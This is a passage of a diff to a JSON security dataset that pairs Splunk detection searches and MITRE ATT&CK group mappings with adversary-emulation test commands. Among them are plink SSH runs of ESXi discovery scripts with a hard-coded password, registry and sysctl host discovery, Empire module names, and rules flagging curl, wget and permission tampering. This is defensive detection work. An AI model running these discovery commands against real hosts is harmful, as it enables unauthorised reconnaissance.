"FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Special Privileged Logon On Multiple Hosts", - "description": "The following analytic detects a user authenticating with special privileges on 30 or more remote endpoints within a 5-minute window. It leverages Event ID 4672 from Windows Security logs to identify this behavior. This activity is significant as it may indicate lateral movement or remote code execution by an adversary. If confirmed malicious, the attacker could gain extensive control over the network, potentially leading to privilege escalation, data exfiltration, or further compromise of the environment. Security teams should adjust detection thresholds based on their specific environment.", - "search": " `wineventlog_security` EventCode=4672 AND NOT(Caller_User_Name IN (\"DWM-1\",\"DWM-2\",\"DWM-3\",\"LOCAL SERVICE\",\"NETWORK SERVICE\",\"SYSTEM\",\"*$\")) | bucket span=5m _time | stats dc(Computer) AS unique_targets values(Computer) as dest values(PrivilegeList) as privileges by _time, Caller_User_Name | rename Caller_User_Name as user| where unique_targets > 30 | `windows_special_privileged_logon_on_multiple_hosts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user $user$ obtained special privileges on a large number of endpoints (Count: $unique_targets$) within 5 minutes.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -225038,128 +172386,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Hiding Files And Directories With Attrib exe", - "description": "The following analytic detects the use of the Windows binary attrib.exe to hide files or directories by marking them with specific flags. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments that include the \"+h\" flag. This activity is significant because hiding files can be a tactic used by attackers to conceal malicious files or tools from users and security software. If confirmed malicious, this behavior could allow an attacker to persist in the environment undetected, potentially leading to further compromise or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=attrib.exe (Processes.process=*+h*) by Processes.parent_process_name Processes.process_name Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` |`hiding_files_and_directories_with_attrib_exe_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Windows Defense Evasion Tactics", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Attrib.exe with +h flag to hide files on $dest$ executed by $user$ is detected.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1222.001", - "mitre_attack_technique": "Windows File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Files and Dirs Access Rights Modification Via Icacls", - "description": "The following analytic identifies the modification of security permissions on files or directories using tools like icacls.exe, cacls.exe, or xcacls.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line executions. This activity is significant as it is commonly used by Advanced Persistent Threats (APTs) and coinminer scripts to evade detection and maintain control over compromised systems. If confirmed malicious, this behavior could allow attackers to hinder investigation, impede remediation efforts, and maintain persistent access to the compromised environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN( \"icacls.exe\", \"cacls.exe\",\"xcacls.exe\") AND Processes.process IN (\"*:R*\", \"*:W*\", \"*:F*\", \"*:C*\",, \"*:N*\",\"*/P*\", \"*/E*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_files_and_dirs_access_rights_modification_via_icacls_filter`", - "tags": { - "analytic_story": [ - "Amadey" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with access right modification argument executed by $user$ to change security permission of a specific file or directory on host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222.001", - "mitre_attack_technique": "Windows File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -226354,6 +173580,7 @@ "reg query HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System /v SystemBiosVersion\nreg query HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System /v VideoBiosVersion\n", "echo \"\" | \"\\..\\ExternalPayloads\\plink.exe\" \"atomic.local\" -ssh -l \"root\" -pw \"pass\" -m \"\\T1082\\src\\esx_vmdiscovery.txt\"\n", "echo \"\" | \"\\..\\ExternalPayloads\\plink.exe\" \"atomic.local\" -ssh -l \"root\" -pw \"pass\" -m \"\\T1082\\src\\esx_darkside_discovery.txt\"\n", + "sysctl -n hw.model", "powershell/situational_awareness/host/computerdetails", "powershell/situational_awareness/host/winenum", "powershell/situational_awareness/network/powerview/get_computer", @@ -226980,6 +174207,19 @@ "name": "command_prompt", "elevation_required": false } + }, + { + "name": "sysctl to gather macOS hardware info", + "auto_generated_guid": "c8d40da9-31bd-47da-a497-11ea55d1ef6c", + "description": "Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.", + "supported_platforms": [ + "macos" + ], + "executor": { + "command": "sysctl -n hw.model", + "name": "sh", + "elevation_required": false + } } ] } @@ -227331,876 +174571,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "Splunk Information Disclosure in Splunk Add-on Builder", - "description": "The following analytic identifies the presence of vulnerable versions of Splunk Add-on Builder (below 4.1.4) that write sensitive information to internal log files. It uses REST API queries to check installed app versions and flags those below the secure threshold. This activity is significant because it exposes sensitive data, which could be exploited by attackers. If confirmed malicious, this vulnerability could lead to unauthorized access to sensitive information, compromising the security and integrity of the Splunk environment. Immediate updates to version 4.1.4 or higher are recommended.", - "search": "| rest /services/apps/local | search disabled=0 core=0 label=\"Splunk Add-on Builder\" | dedup label | search version < 4.1.4 | eval WarningMessage=\"Splunk Add-on Builder Versions older than v4.1.4 contain a critical vulnerability. Update to Splunk Add-on Builder v4.1.4 or higher immediately. For more information about this vulnerability, please refer to https://advisory.splunk.com/advisories/SVD-2024-0111\" | table label version WarningMessage | `splunk_information_disclosure_in_splunk_add_on_builder_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Splunk Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "version", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Vulnerable $version$ of Splunk Add-on Builder found - Upgrade Immediately.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - } - ] - } - }, - { - "name": "Web Servers Executing Suspicious Processes", - "description": "The following analytic detects the execution of suspicious processes on systems identified as web servers. It leverages the Splunk data model \"Endpoint.Processes\" to search for specific process names such as \"whoami\", \"ping\", \"iptables\", \"wget\", \"service\", and \"curl\". This activity is significant because these processes are often used by attackers for reconnaissance, persistence, or data exfiltration. If confirmed malicious, this could lead to data theft, deployment of additional malware, or even ransomware attacks. Immediate investigation is required to determine the legitimacy of the activity and mitigate potential threats.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.dest_category=\"web_server\" AND (Processes.process=\"*whoami*\" OR Processes.process=\"*ping*\" OR Processes.process=\"*iptables*\" OR Processes.process=\"*wget*\" OR Processes.process=\"*service*\" OR Processes.process=\"*curl*\") by Processes.process Processes.process_name, Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_servers_executing_suspicious_processes_filter`", - "tags": { - "analytic_story": [ - "Apache Struts Vulnerability" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - } - ] - } - }, - { - "name": "Linux Kernel Module Enumeration", - "description": "The following analytic identifies the use of the 'kmod' process to list kernel modules on a Linux system. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. While listing kernel modules is not inherently malicious, it can be a precursor to loading unauthorized modules using 'insmod'. If confirmed malicious, this activity could allow an attacker to load kernel modules, potentially leading to privilege escalation, persistence, or other malicious actions within the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=kmod Processes.process IN (\"*lsmod*\", \"*list*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_kernel_module_enumeration_filter`", - "tags": { - "analytic_story": [ - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ enumeration kernel modules.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1014", - "mitre_attack_technique": "Rootkit", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Rocke", - "TeamTNT", - "Winnti Group" - ] - } - ] - } - }, - { - "name": "System Information Discovery Detection", - "description": "The following analytic identifies system information discovery techniques, such as the execution of commands like `wmic qfe`, `systeminfo`, and `hostname`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because attackers often use these commands to gather system configuration details, which can aid in further exploitation. If confirmed malicious, this behavior could allow attackers to tailor their attacks based on the discovered system information, potentially leading to privilege escalation, persistence, or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process=\"*wmic* qfe*\" OR Processes.process=*systeminfo* OR Processes.process=*hostname*) by Processes.user Processes.process_name Processes.process Processes.dest Processes.parent_process_name | `drop_dm_object_name(Processes)` | eventstats dc(process) as dc_processes_by_dest by dest | where dc_processes_by_dest > 2 | stats values(process) as process min(firstTime) as firstTime max(lastTime) as lastTime by user, dest parent_process_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `system_information_discovery_detection_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential system information discovery behavior on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - } - ] - } - }, - { - "name": "Windows Information Discovery Fsutil", - "description": "The following analytic identifies the execution of the Windows built-in tool FSUTIL with the FSINFO parameter to discover file system information. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. Monitoring this activity is significant because FSUTIL can be abused by adversaries to gather detailed information about the file system, aiding in further exploitation. If confirmed malicious, this activity could enable attackers to map the file system, identify valuable data, and plan subsequent actions such as privilege escalation or persistence.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"fsutil.exe\" OR Processes.original_file_name = \"fsutil.exe\" AND Processes.process = \"*fsinfo*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_information_discovery_fsutil_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process $process_name$ with commandline $process$ is executed in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect attackers scanning for vulnerable JBoss servers", - "description": "The following analytic identifies specific GET or HEAD requests to web servers that indicate reconnaissance attempts to find vulnerable JBoss servers. It leverages data from the Web data model, focusing on HTTP methods and URLs associated with JBoss management interfaces. This activity is significant because it often precedes exploitation attempts using tools like JexBoss, which can compromise the server. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, or escalate privileges, leading to potential data breaches and system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.http_method=\"GET\" OR Web.http_method=\"HEAD\") AND (Web.url=\"*/web-console/ServerInfo.jsp*\" OR Web.url=\"*web-console*\" OR Web.url=\"*jmx-console*\" OR Web.url = \"*invoker*\") by Web.http_method, Web.url, Web.src, Web.dest | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_attackers_scanning_for_vulnerable_jboss_servers_filter`", - "tags": { - "analytic_story": [ - "JBoss Vulnerability", - "SamSam Ransomware" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -228954,536 +175325,7 @@ "Event ID": null, "Event Name": "Network protocol analysis" } - ], - { - "name": "Windows App Layer Protocol Qakbot NamedPipe", - "description": "The following analytic detects a suspicious process creating or connecting to a potential Qakbot named pipe. It leverages Sysmon EventCodes 17 and 18, focusing on specific processes known to be abused by Qakbot and identifying randomly generated named pipes in GUID form. This activity is significant as Qakbot malware uses named pipes for inter-process communication after code injection, facilitating data theft. If confirmed malicious, this behavior could indicate a Qakbot infection, leading to unauthorized data access and potential exfiltration from the compromised host.", - "search": "`sysmon` EventCode IN (17, 18) EventType IN ( \"CreatePipe\", \"ConnectPipe\") Image IN (\"*\\\\calc.exe\", \"*\\\\notepad.exe\", \"*\\\\rdpclip.exe\", \"*\\\\explorer.exe\", 